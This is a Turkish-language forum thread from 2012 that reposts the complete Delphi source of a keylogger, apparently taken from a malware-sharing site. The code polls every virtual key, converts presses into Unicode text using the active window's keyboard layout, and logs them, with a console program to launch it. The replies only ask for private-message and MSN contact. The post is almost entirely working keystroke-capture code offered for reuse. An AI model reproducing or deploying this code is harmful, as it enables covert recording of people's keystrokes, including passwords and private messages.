• 09-11-2012, 20:56:06
    #1
    Kimlik doğrulama veya yönetimden onay bekliyor.
    Orjinal Konu : http://www.opensc.ws/delphi-snippets...r-example.html

    Coder : Ben
    Programlama Dili : Delphi 7 / Pure API
    unit UnitKeyLogger;
    
    interface
    
    uses
      Windows,Classes;
    
    type
      TUnicodeKeylogger = class(TThread)
      private
        { Private declarations }
      public
        FActiveBackSpace:Boolean;
        FullLogData : String;
        function IsKeyPressed(KeyCode: Integer): Boolean;
        procedure AddKey(StrKey: String);
      protected
        procedure Execute; override;
      end;
    
    implementation
    
    procedure TUnicodeKeylogger.AddKey(StrKey: String);
    begin
        FullLogData := FullLogData + StrKey;
        Write(StrKey);
    end;
    
    function TUnicodeKeylogger.IsKeyPressed(KeyCode: Integer): Boolean;
    begin
        result := (Windows.GetAsyncKeyState(KeyCode) and $8001) = $8001;
    end;
    
    procedure TUnicodeKeylogger.Execute;
    var
     VirtKey        : UINT;
     ScanCode       : UINT;
     UniEx          : Integer;
     keyboardLayout : HKL;
     keyboardSpeed  : Integer;
     keyboardState  : TKeyboardState;
     strBuffer      : String;
     UnicodeChar    : array[0..1] of WChar;
     strkeyname     : Array[0..32] of Char;
     dwThread       : DWORD;
     dwProcess      : DWORD;
     dwHandle       : HWND;
    BEGIN
      Windows.SystemParametersInfo(Windows.SPI_GETKEYBOARDSPEED, 0, @keyboardSpeed, 0);
      WHILE NOT Terminated DO
      BEGIN
        Windows.GetKeyState(VK_CAPITAL);
        Windows.GetKeyboardState(keyboardState);
        dwHandle:= Windows.GetForegroundWindow();
        dwThread:= Windows.GetWindowThreadProcessId(dwHandle,@dwProcess);
        keyboardLayout:= Windows.GetKeyboardLayout(dwThread);
        FOR VirtKey := 0 TO $FF DO
          IF IsKeyPressed(VirtKey) THEN
          BEGIN
            IF VirtKey = 8 THEN // silmeye basilirsa
            BEGIN
              IF FActiveBackSpace THEN
              BEGIN
                Delete(FullLogData, Length(FullLogData), 1);
              END
              ELSE
              BEGIN
                Continue;
              END;
            END;
            ScanCode := Windows.MapVirtualKeyEx(VirtKey, 0, keyboardLayout);
            Windows.GetKeyNameTextA(ScanCode SHL 16,strkeyname,sizeof(strkeyname));
            IF Windows.lstrlenA(strkeyname) > 1 THEN
            BEGIN
             IF VirtKey = VK_SPACE  THEN strkeyname := ' ';  // bosluk tusu
             IF VirtKey = VK_RETURN THEN strkeyname := #13#10; // enter tusu
             AddKey(strkeyname);
             Continue;
            END;
            UniEx := Windows.ToUnicodeEx(VirtKey, ScanCode, @keyboardState, @UnicodeChar, 2, 0, keyboardLayout);
            strBuffer := UnicodeChar;
            SetLength(strBuffer,UniEx);
            AddKey(strBuffer);
          END;
        Windows.Sleep(keyboardSpeed DIV 4);
      END;
    END;
    
    END.
    program Lib;
    
    {$APPTYPE CONSOLE}
    
    uses
      Windows,
      UnitKeyLogger in 'UnitKeyLogger.pas';
    
    VAR
      Msg : TMsg;
      Keylogger:TUnicodeKeylogger ;
      LangID : Cardinal;
    begin
      { TODO -oUser -cConsole Main : Insert code here }
      LangID:=Windows.GetUserDefaultLangID;
      Windows.SetThreadLocale(LangID);
      Keylogger:=TUnicodeKeylogger.Create(False);
      Keylogger.Resume;
    
      While Windows.GetMessage(Msg,0,0,0) Do
      Begin
          Windows.TranslateMessage(Msg);
          Windows.DispatchMessageA(Msg);
      End;
    end.
  • 10-11-2012, 00:04:39
    #2
    pm kutun dolu ulaşabilir misin ?
  • 10-11-2012, 01:18:37
    #3
    PM gonderdim.
  • 16-11-2012, 01:03:15
    #4
    Pm kutun dolu msn ye gelirmisin